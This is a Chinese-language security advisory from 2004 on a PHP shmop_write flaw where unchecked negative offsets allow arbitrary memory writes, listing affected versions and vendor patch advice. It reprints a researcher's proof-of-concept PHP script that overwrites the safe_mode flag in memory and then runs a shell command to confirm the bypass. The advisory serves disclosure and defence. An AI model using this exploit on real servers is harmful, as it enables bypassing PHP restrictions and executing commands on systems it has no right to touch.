首页 -> 安全研究

安全研究

安全漏洞
PHP shmop模块写任意内存漏洞

发布日期:2004-12-19
更新日期:2004-12-21

受影响系统:
PHP PHP 5.0.2
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.9
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0
不受影响系统:
PHP PHP 5.0.3
PHP PHP 4.3.10
描述:
shmop是一款用于加速PHP的共享内存扩展模块。

shmop中的shmop_write函数检查偏移存在内存泄露问题,远程攻击者可以利用这个漏洞绕过safe_mode限制及进行其他攻击。

shmop.c中的PHP_FUNCTION(shmop_write)函数没有正确检查'offset'为负的值,因此在执行如下函数时可能覆盖任意内存:

memcpy(shmop->addr + offset, data, writesize);

利用此漏洞可导致绕过safe_mode限制及进行其他攻击。

<*来源:Stefano Di Paola (stefano@dipaola.wisec.it
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110356075425805&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Stefano Di Paola (stefano@dipaola.wisec.it)提供了如下测试方法:

<?
/*
   Php Safe_mode Bypass Proof of concept.
  
   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it
  
   Disclaimer: The author is not responsible of any damage this script can cause
  
*/

$shm_id = shmop_open(0xff2, "c", 0644, 100);
  if (!$shm_id) {
    echo "Couldn't create shared memory segment\n";
    die;
}

// $data="\x01";
// the new value for safe_mode
$data="\x00";

// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written = shmop_write($shm_id, $data, $offset );
if ($shm_bytes_written != strlen($data)) {
   echo "Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo "Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载升级到最新版:

http://www.php.net

浏览次数:3919
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障